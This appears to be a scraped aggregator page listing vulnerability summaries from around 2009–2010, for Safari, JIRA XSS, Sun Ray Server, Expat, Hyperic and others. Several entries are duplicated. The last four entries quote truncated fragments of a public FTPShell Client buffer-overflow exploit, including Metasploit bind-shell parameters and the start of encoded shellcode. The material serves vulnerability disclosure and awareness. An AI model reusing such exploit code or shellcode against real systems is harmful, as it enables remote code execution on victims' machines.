VUPEN Security Research - Apple Safari WebKit HTML Button Use-after-free Vulnerability (CVE-2010-1392)

About the security content of Safari 5.0 and Safari 4.1 Last Modified: June 07, 2010 Article: HT4196 Email this article Print this page Summary This document describes the security content of Safari 5.0 and Safari 4.1. For the protection of our customers, Apple does not disclose, discuss, or...

CVE-2010-2156

ISC DHCP 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1 allows remote attackers to cause a denial of service server exit via a zero-length client ID...

Code injection

lib.php in Zeroboard 4.1 pl7 allows remote attackers to execute arbitrary PHP code via a crafted parameter name, possibly related to nowconnect.php...

Atlassian JIRA Privilege Escalation and Multiple Cross Site Scripting Vulnerabilities

Atlassian JIRA is prone to privilege escalation and multiple cross site scripting vulnerabilities. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier:...

VulnCheck KEV: CVE-2010-1164

Multiple cross-site scripting XSS vulnerabilities in Atlassian JIRA 3.12 through 4.1 allow remote attackers to inject arbitrary web script or HTML via the 1 element or 2 defaultColor parameter to the Colour Picker page; the 3 formName parameter, 4 element parameter, or 5 full name...

CVE-2010-1237

Google Chrome 4.1 BETA before 4.1.249.1036 allows remote attackers to cause a denial of service memory error or possibly have unspecified other impact via an empty SVG element...

MYSQL UDF - Can't open shared library studies-vulnerability and early warning-the black bar safety net

Ninty 's blog mysqlin support of the UDF extension, so that we can call the DLL inside the function to achieve some special features. But for the UDF specific limits, MYSQL versions are different. The following recording: I heard, just heard, didn't do testing on MYSQL 4.1 previously, can be all...

CVE-2009-4314

Sun Ray Server Software 4.1 on Solaris 10, when Automatic Multi-Group Hotdesking AMGH is enabled, responds to a logout action by immediately logging the user in again, which makes it easier for physically proximate attackers to obtain access to a session by going to an unattended DTU device...

Sun Ray Server认证管理器远程命令执行漏洞

BUGTRAQ ID: 37284 Sun Ray Server软件可为客户提供安全、低成本、几乎无需管理的桌面环境。 Sun Ray Server Software的实现上存在漏洞，远程攻击者可能利用此漏洞以系统用户的权限执行任意命令，获取对系统的控制。 Sun Ray Server Software 4.1 Sun Ray Server Software 4.0 厂商补丁： Sun --- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： Sun Ray Server Software 4.0 Sun 127553-07...

CVE-2009-4295

Sun Ray Server Software 4.0 and 4.1 does not generate a unique DSA private key for the firmware on each Sun Ray 1, 1g, 100, and 150 DTU device, which makes it easier for remote attackers to obtain sensitive information by predicting a key and then using it to decrypt sniffed network traffic...

CVE-2009-4295

Sun Ray Server Software 4.0 and 4.1 does not generate a unique DSA private key for the firmware on each Sun Ray 1, 1g, 100, and 150 DTU device, which makes it easier for remote attackers to obtain sensitive information by predicting a key and then using it to decrypt sniffed network traffic...

Expat 2.0.1 - UTF-8 Character XML Parsing Remote Denial of Service

Expat 2.0.1 - UTF-8 Character XML Parsing Remote Denial of Service Bugtraq ID: 36097 Class: Input Validation Error Published: Jan 17 2009 12:00AM Updated: Nov 12 2009 08:06PM Credit: Peter Valchev Vulnerable: SuSE openSUSE 11.0 SuSE openSUSE 10.3 SuSE Linux 9 SuSE Linux 11 SuSE Linux 10.0 RedHat...

Expat 2.0.1 - UTF-8 Character XML Parsing Remote Denial of Service

Bugtraq ID: 36097 Class: Input Validation Error Published: Jan 17 2009 12:00AM Updated: Nov 12 2009 08:06PM Credit: Peter Valchev Vulnerable: SuSE openSUSE 11.0 SuSE openSUSE 10.3 SuSE Linux 9 SuSE Linux 11 SuSE Linux 10.0 RedHat Fedora 11 RedHat Fedora 10 RedHat Enterprise Linux WS 4 RedHat...

CORE-2009-0812-Hyperic HQ Multiple XSS

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Hyperic HQ Multiple XSS 1. Advisory Information Title: Hyperic HQ Multiple XSS Advisory Id: CORE-2009-0812 Advisory URL:...

CVE-2009-3364

Stack-based buffer overflow in FTPShell Client 4.1 RC2 allows remote FTP servers to execute arbitrary code via a long response to a PASV command...

SuSE 11 Security Update : KDE4 PIM packages (SAT Patch Number 808)

This kdepim4 and kdepimlibs4 update fixes lots of bugs and one security issue : KMail 4.1.x executes links in mail without confirmation. no cve assigned yet It also fixes lots of non-security bugs : kdepim4 : - kdepim: make sure we initially create items for subresources - kdepim: fix...

FTPShell client 4. 1 RC2 remote buffer overflow through the kill vulnerability-vulnerability warning-the black bar safety net

Test by platform: xpsp3,w2ksp4 !/ usr/bin/python | || | / \ | | | | | | | | | - | | | / / | | |||| || // \/ |\\ || + Bug : FTPShell Client 4.1 RC2 Remote Buffer Overflow Exploit univ + Author : His0k4 + Tested on : xpsp3,w2ksp4 + Greetz : All friends piece of "zlabiya" ---exploit-log---...

FTPShell Client 4.1 RC2 Buffer Overflow

!/usr/bin/python | || | / \ | | | | | | | | | - from socket import import os import time win32bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com stage2 = "\x44\x7A\x32\x37\x44\x7A\x32\x37" "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

FTPShell Client 4.1 RC2 Remote Buffer Overflow Exploit (univ)

Exploit for windows platform in category remote exploits ============================================================= FTPShell Client 4.1 RC2 Remote Buffer Overflow Exploit univ ============================================================= !/usr/bin/python | || | / \ | | | | | | | | | - from...

FTPShell Client 4.1 RC2 - Remote Buffer Overflow (Universal)

FTPShell Client 4.1 RC2 - Remote Buffer Overflow Universal !/usr/bin/python | || | / \ | | | | | | | | | - from socket import import os import time win32bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com stage2 = "\x44\x7A\x32\x37\x44\x7A\x32\x37"...